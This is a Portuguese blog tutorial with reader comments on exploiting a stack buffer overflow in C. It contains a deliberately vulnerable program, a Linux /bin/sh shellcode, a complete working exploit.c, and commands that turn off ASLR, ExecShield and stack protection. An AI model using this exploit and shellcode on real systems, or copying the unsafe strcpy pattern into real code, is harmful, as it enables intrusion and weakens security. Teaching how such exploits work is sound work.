No artigo anterior entendemos o que é e como ocorre uma falha de buffer overflow. Vimos que o programa travava e apresentava a mensagem de “Segmentation fault” quando era passada uma string muito grande. Isso ocorreu porque a string sobrescreu vários segmentos da memória que estavam após o buffer, inclusive segmentos responsáveis por “controlar” a execução do programa.
Hoje iremos entender melhor porque isso ocorre e a partir disso conseguiremos explorar essa vulnerabilidade e obter o controle do programa para executarmos o que quisermos.
O que é a Pilha?
Em poucas palavras, a pilha (stack) é um local reservado da memória (RAM) onde o programa armazena as variáveis locais de uma função e controla a execução de um programa. Um espaço específico da pilha reservado para uma função é chamada de stack frame.
Cada elemento da pilha, assim como uma pilha de pratos, é colocado em cima do outro, e para a retirada é o processo inverso, retira-se os que estão em cima primeiro.
Sendo assim o primeiro elemento colocado na pilha será o último a ser retirado, o termo utilizado para descrever isso é FILO (First In, Last Out). Em Assembly o comando PUSH insere elementos na pilha e o POP retira esses elementos.
A memória utilizada por um programa é dividida em segmentos, dependendo da arquitetura do processador ou sistema operacional pode ser de 32 bits ou 64 bits por exemplo. Cada segmento tem um endereço e armazena algum tipo de informação. Um segmento de memória pode, por exemplo, ser endereçado em hexadecimal assim:
0xbffffffe
Isso representa o endereço de um segmento de memória de 32 bits. Os endereços de memória na pilha crescem do endereço maior para o menor. Se um programa reserva 24 bytes de memória para variáveis locais, então seriam reservados esses seguimentos:
0xbfffffd8 – 4ª variável
0xbfffffdc – 4ª
0xbfffffe0 – 4ª
0xbfffffe4 – 3ª variável
0xbfffffe8 – 2ª variável
0xbfffffec – 1ª variável
A primeira variável inserida na pilha seria no endereço 0xbfffffec, a segunda em 0xbfffffe8 e a terceira em 0xbfffffe4, cada uma ocuparia apenas um segmento de memória caso tivessem 4 bytes de tamanho. Inserindo uma quarta variável de 12 bytes o endereço dela seria 0xbfffffd8 e ocuparia os 3 segmentos seguintes.
Repetindo, a pilha cresce do endereço MAIOR para o MENOR.
Registradores
Registradores são locais no processador utilizados para armazenar dados temporariamente. Como estão dentro do processador o acesso a eles é muito mais rápido do que o acesso a memória RAM. Existem vários tipos de registradores, é interessante conhecermos alguns:
EAX, EBX, ECX, EDX – Registradores de uso geral, utilizados para manipular dados.
EBP – Extended Base Pointer, geralmente aponta para o início ou base da pilha.
ESP – Extended Stack Pointer, aponta para o topo da pilha.
EIP – Extended Instruction Pointer, aponta para o endereço da próxima instrução a ser executada.
Construção de um Stack Frame
Agora entenderemos como um stack frame é construído, ou seja, como é reservado um espaço na memória para uma função quando ela é chamada. É importante entender tudo isso porque depois a construção do exploit se tornará mais simples.
Vamos utilizar a pilha criada anteriormente, imaginemos um programa com o seguinte código:
main(int argc, char *argv[]){
exibir(argv[1]);
printf(“OK”);
}
exibir(char *arg[]){
char nome1[4], nome2[4], nome3[4];
char nome4[12];
strcpy(nome4, arg);
…
}
Em (dis)assembly, uma representação simplificada desse código seria:
main:
0x00400000 PUSH argv[1]
0x00400004 CALL exibir
0x00400008 PUSH “OK”
0x0040000c CALL printf
exibir:
0x004000c0 PUSH EBP
0x004000c4 MOV EBP, ESP
0x004000c8 SUB ESP, 18h
0x004000cc MOV EAX, [EBP+8]
0x004000d0 MOV [EBP-18], EAX
…
…
…
0x004000e0 ADD ESP, 18h
0x004000e4 MOV ESP, EBP
0x004000e8 POP EBP
0x004000ec RET
Na função “main” primeiro é colocado na pilha o parâmetro da função “exibir” com o comando PUSH e então é chamada a função com o CALL. Quando o CALL é executado sempre é PUSH'ado na pilha o endereço que está no registrador EIP, que vocês se lembram aponta para a próxima instrução a ser executada.
No nosso programa o EIP armazenaria 0x00400008 que é a instrução após o CALL, isso é o endereço de retorno da função, para o programa saber de onde continuar depois que a função chamada terminar.
Então a execução do programa é redirecionada para a função “exibir” que se inicia no endereço 0x004000c0. As três linhas inicias são conhecidas como function prologue, são as reponsáveis por configurar o espaço na pilha para a função. E as três últimas são chamadas de function epilogue que restauram os valores, desfaz a pilha.
Graficamente será mais fácil de entender, vejamos como ficará nossa pilha após a execução da função “exibir”.
Como vemos, o EBP (base pointer) aponta para o início do stack frame da função e o ESP (stack pointer) aponta para o topo da pilha.
Dentro da função “exibir” quando o programa quiser trabalhar com as variáveis locais, ele acessará por EBP-4 (nome1), EBP-8 (nome2), EBP-C (nome3) e EBP-18 (nome4). Quando quiser acessar a variável passada como parâmetro o endereço será EBP+8.
Exemplo:
MOV EAX, [EBP-C] // move o valor da variável nome3 para o registrador EAX
MOV EBX, [EBP+8] // move o valor do parâmetro para o registrador EBX
Lembre-se:
EBP – XX = acesso a variável local
EBP + XX = acesso a parâmetro da função
Isso é muito útil quando fazemos engenharia reversa.
Voltando para nossa pilha... A variável nome4 possui 12 bytes, se inserirmos nela 32 bytes vai ocorrer um buffer overflow, sobrescreverá tudo que estiver abaixo dela: as outras variáveis, o EBP e por fim o endereço de retorno (EIP), assim quando o programa tentar retornar vai encontrar um valor qualquer no EIP e não conseguirá continuar, vai travar. Isso é a Segmentation fault.
Exploitation
Um exploit se beneficia dessa capacidade de sobrescrever o endereço de retorno da função, ao invés de sobrescrevê-lo com um valor qualquer o exploit insere um valor minuciosamente calculado.
Vamos comparar a pilha original com uma criada por um exploit.
Na pilha do exploit, quando o programa buscar o endereço de retorno na pilha em 0xbffffff4, ele encontrará o valor 0xbfffffd8 e vai executá-lo voltando para o início da pilha, encontrará a instrução NOP (No-Operation, código 0x90), essa instrução como o próprio nome diz não faz nada, só pula para a instrução de baixo.
A execução vai escorregando pelos NOPs, isso é chamado de NOP-Sled, até chegar na instrução “execute /bin/sh”, que no Linux fará com que execute o shell “sh”. O shell é executado e o atacante obtém o controle do sistema operacional podendo executar os comandos que quiser no sistema, se o programa explorado possuir permissão de root.
Essa é a grande jogada de um exploit, explora e controla uma falha no programa (vulnerabilidade) para obter o controle do sistema ou executar o que desejar. Na prática o código não é tão simples assim mas a lógica é essa.
Praticando os conceitos
Agora vamos ver como tudo isso funciona na prática.
Vou criar o programa vulneravel.c com esse código:
// vulneravel.c
#include <stdio.h>
void exibe(char arg[])
{
char buffer[64];
strcpy(buffer, arg);
printf("Voce digitou: %s\n",buffer);
}
int main(int argc, char *argv[])
{
exibe(argv[1]);
return 0;
}
É um programa com uma vulnerabilidade de buffer overflow, a variável “buffer” possui 64 bytes de tamanho mas através do parâmetro podemos passar uma string do tamanho que quisermos, se a string for muito grande ocorrerá a Segmentation fault.
Vamos começar a construir nosso exploit para ele. Baseando-se na explicação anterior sobre a pilha do exploit, se a variável “buffer” possui 64 bytes, quantos bytes precisaríamos para sobrescrever a pilha e chegar até o endereço de retorno da função “exibe”?
64 bytes (buffer) + 4 bytes (EBP) + 4 bytes (retorno) = 72 bytes
Já sabemos o tamanho, agora precisamos descobrir em qual endereço da pilha será inserida a variável “buffer” pois utilizaremos esse endereço para sobrescrever o retorno original, no exemplo lembram que utilizamos o 0xbfffffd8 para retornar ao início da pilha.
Existem várias maneiras de descobrir isso, a que eu achei mais fácil de entender e executar foi utilizando o GDB, The GNU Project Debugger, é um debugger/disassembler assim como o OllyDbg, mas é para o Linux e executado na linha de comando.
Primeiro compilamos nosso vulneravel.c com o comando:
gcc -g -o vulneravel vulneravel.c
A opção “-g” é para inserir mais informações de debugger no arquivo. Depois executamos o GDB chamando nosso programa com o comando:
gdb -q ./vulneravel
O “-q” é para omitir a mensagem de boas-vindas do programa. Depois usamos o comando “list” para exibir as linhas do programa, colocamos um breakpoint com o comando “break 6”, isto é, na 6ª linha, bem após a variável “buffer” receber seu valor.
Agora podemos executar o programa, vamos passar como parâmetro uma string com exatamente 64 bytes, ou 64 “A”s, o comando é:
run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
Dica: podemos utilizar o Perl para imprimir os 64 “A”s ao invés de digitar um por um, o comando ficaria:
run $(perl -e “print 'A'x64”)
A execução para bem no nosso breakpoint, uma maneira simples de descobrir em qual endereço está a variável “buffer” é executando:
x/x buffer
Significa: examine (x) a variável buffer e apresente o resultado em hexadecimal (x).
Como podemos ver o resultado foi:
0xbffffadc: 0x41414141
A variável buffer está no endereço 0xbffffadc e contém 0x41414141, 0x41 é o código hexadecimal para a letra A, podem conferir na tabela ASCII. :)
Agora já sabemos o tamanho do buffer para sobrescrever o endereço de retorno e o endereço da variável buffer, só nos resta saber como fazer o programa executar o shell “sh” do linux.
No exemplo eu coloquei “execute /bin/sh”, mas o computador não entende isso, ele entende linguagem de máquina, temos que passar pra ele os comandos na linguagem que ele entende.
Assim como ele sabe que o código hexadecimal 0x90 equivale ao NOP do Assembly, existem inúmeros outros códigos que representam os outros comandos, são chamados de opcodes.
Assim como ele sabe que o código hexadecimal 0x90 equivale ao NOP do Assembly, existem inúmeros outros códigos que representam os outros comandos, são chamados de opcodes.
Os opcodes que iremos utilizar são esses:
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"
"\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff/bin/sh#"
Essa sequência é chamada de shellcode, ou seja, o código para se obter o shell, não vou explicar como ele é construído, isso renderia vamos posts, por enquanto basta sabermos que são códigos hexadecimais que representam a instrução “execute /bin/sh”.
Já temos todas as informações necessárias para construir o exploit do nosso programa vulnerável, agora é só colocarmos tudo junto em um programa.
O código-fonte do nosso exploit.c é esse:
// exploit.c
#include <stdio.h>
static char shellcode[]=
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"
"\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff/bin/sh#";
#define NOP 0x90 // codigo hex do NOP
#define LEN 64+8 // tamanho do buffer para sobrescrever o retorno
#define RET 0xbffffadc // endereço de retorno do início do buffer
int main()
{
char buffer[LEN]; // cria uma variavel com 72 bytes
int i;
for(i=0;i<LEN;i++)
buffer[i]=NOP; // preenche a variavel inteira com NOPs
// copia para a memoria a variavel com o shellcode no final dela,
// só reservando os últimos 4 bytes para o endereço de retorno
memcpy(&buffer[LEN-strlen(shellcode)-4], shellcode, strlen(shellcode));
// copia para os 4 últimos bytes o endereço de retorno
*(int*)(&buffer[LEN-4]) = RET;
// executa o programa ./vulneravel passando como parametro a variavel buffer criada
execlp("./vulneravel","./vulneravel",buffer,NULL);
return 0;
}
Praticamente eu já expliquei tudo o que ele faz, vai sobrescrever a pilha com as informações previamente calculadas da mesma forma que foi demonstrado no exemplo anterior.
Exploit compilado e chegamos no momento tão esperado, a execução do exploit!
Perfeito! Tudo conforme planejamos, através de uma vulnerabilidade conseguimos obter o shell de um sistema, a partir disso teríamos o caminho livre para a exploração da máquina.
Considerações finais
Lembrando novamente que esse foi um ambiente controlado e propício para a exploração, utilizei a distro Debian 3.0 R4 e o gcc 2.95.4-14, que são versões bem antigas que ainda não tinham implementadas várias proteções contra exploração de stack overflow. As distros atuais possuem uma série de melhorias mas também é possível desabilitá-las para reproduzir os exemplos.
A ideia do artigo é demonstrar a lógica de um exploit, isso não muda, e também servir como um ponto de partida para estudos mais avançados. Mesmo existindo as proteções sempre há falhas e meios de explorá-las. Cabe aos profissionais de segurança e desenvolvedores de softwares conhecê-las para melhor proteger seus sistemas.
Espero que tenham gostado, dúvidas só deixar um comentário.
Fiz o teste no Debian 5.0.3 com GCC 4.3.2-2 e funcionou corretamente.
Leia também outros artigos relacionados a programação low-level.
Adicionado em 15/03/2011:
Para reproduzir os exemplos desse artigo em distribuições Linux mais atuais é necessário desativar algumas proteções, faça o seguinte:
- Debian e Ubuntu based, desativar ASLR:
echo 0 > /proc/sys/kernel/randomize_va_space
- Red Hat based, desativar ASLR e DEP (ExecShield):
echo 0 > /proc/sys/kernel/exec-shield-randomize
echo 0 > /proc/sys/kernel/exec-shield
- GCC a partir da versão 4.1 compilar com diretiva -fno-stack-protector, exemplo:
gcc -fno-stack-protector -o overflow overflow.c
Leia também outros artigos relacionados a programação low-level.
Ronaldo Lima
crimesciberneticos.com | twitter.com/crimescibernet
Vlw Ronaldo! Inclusive está sendo feita uma lista do Top 100 Hackers do Brasil e te indiquei la!
ResponderExcluirEsperando pelo curso de Exploits!
Abraço!
Qual compilador de C++ você usa no Windows? Baixei o Visual C++ Express da Microsoft, mas achei muito complicado trabalhar com esse .NET .
ResponderExcluirOlá Gilberto,
ResponderExcluirQuando quero fazer um programa rápido com janelas eu utilizo o Borland C++ Builder 6. Para programas mais simples uso o Bloodshed Dev-C++ (http://www.bloodshed.net/devcpp.html) que é baseado no GCC.
Se eu não me engano o Visual C++ Express que vc está utilizando também dá pra usar só pela linha de comando igual o GCC.
Abraço!
Meu exploit não funcionou.
ResponderExcluir./exploit
Voce digitou: êêêêêêêêêêêêêêêêêêêêêêêêêêêêêêÎ^â1¿àFâF
∞
âÛç1“ÕÄˉˇˇˇ/bin/sh#‹˙ˇøH
Segmentation fault
Como eu arrumo o shellcode ?? Será que eh pq eu to usando 64bits ??
Olá Lucmaga,
ResponderExcluirO problema não é o no shellcode, provavelmente é porque está utilizando o 64 bits, não cheguei testar nessa plataforma. O Exploit não deve estar conseguindo sobrescrever corretamente o endereço de retorno EIP.
Você pegou o endereço do buffer com o GDB? O endereço do seu vai ser diferente do meu, aí vc deve alterar no exploit.
Pode tentar instalar um Linux 32 bits numa máquina virtual para fazer os testes também. Ah, e não se esqueça de desativar as proteções.
Abraço!
Bem ronaldo muito bem explicado só encontrei um defeito ao que se refere bytes e bits, você em determinados momentos do tutorial se refere a inserir 64bytes de caracteres AAAAA....até 64.
ResponderExcluirretificando que 1 byte tem 8 bits
se fossem 64 bytes isso daria muitos caracteres, equivale a 512 bits.
então creio que quando se referiu a 64 bytes( a sintaxe correta seria 64 bits de caracteres).
64 bits
um A = 1 bit e assim por diante, até os 64.
creio também que nesta parte abaixo:
char buffer[64];
a variável não é buffer, o tipo da variável seria char e o buffer é a limitação de alocamento desta variável.
att, felipe.
corrija-me se eu estiver errado por favor.
um abraço e é um ótimo site!
Olá Felipe, agradeço os comentários, legal que gostou do blog.
ResponderExcluirNa verdade o post não está errado, são sim 64 bytes de caracteres 'A', cada caracter tem 1 byte ou 8 bits.
1 bit só pode ser 0 ou 1, não tem como representar o caracter 'A' com apenas 1 bit, são necessários 8 bits de acordo com a tabela ASCII.
Se vc olhar a tabela [1] verá que o 'A' é representado pelo hexadecimal 0x41. Convertendo 0x41 para binário:
01000001
8 bits = 1 byte
Concluindo, para representar 64 caracteres 'A' são necessários 64 bytes ou 512 bits. Certo?
Já se fosse UNICODE seria o dobro, já que para cada caracter UNICODE é necessário 2 bytes.
A segunda dúvida, 'char' é o tipo da variável, 'buffer' é o nome que escolhi para a variável e '[64]' é o tamanho dessa variável, quantos caracteres ela suporta.
Abraços,
Ronaldo
[1] http://www.asciitable.com/
Este comentário foi removido pelo autor.
ResponderExcluirmuito obrigado por me corrigir e desculpe eu me colocar dizendo que estava errado seu post, me coloquei de forma errada, muito obrigado por explicar, já me tornei usuário diário, acessei fazem 2 dias pela primeira vez e desde então permaneço horas lendo seus posts e tentando da conta do conteúdo. você é muito bom!
ResponderExcluirótimo trabalho! perfeito
Muito bom, tenho que apresenta um trabalho sobre auditoria e segurança de sistemas, vou utilizar seu exemplo
ResponderExcluir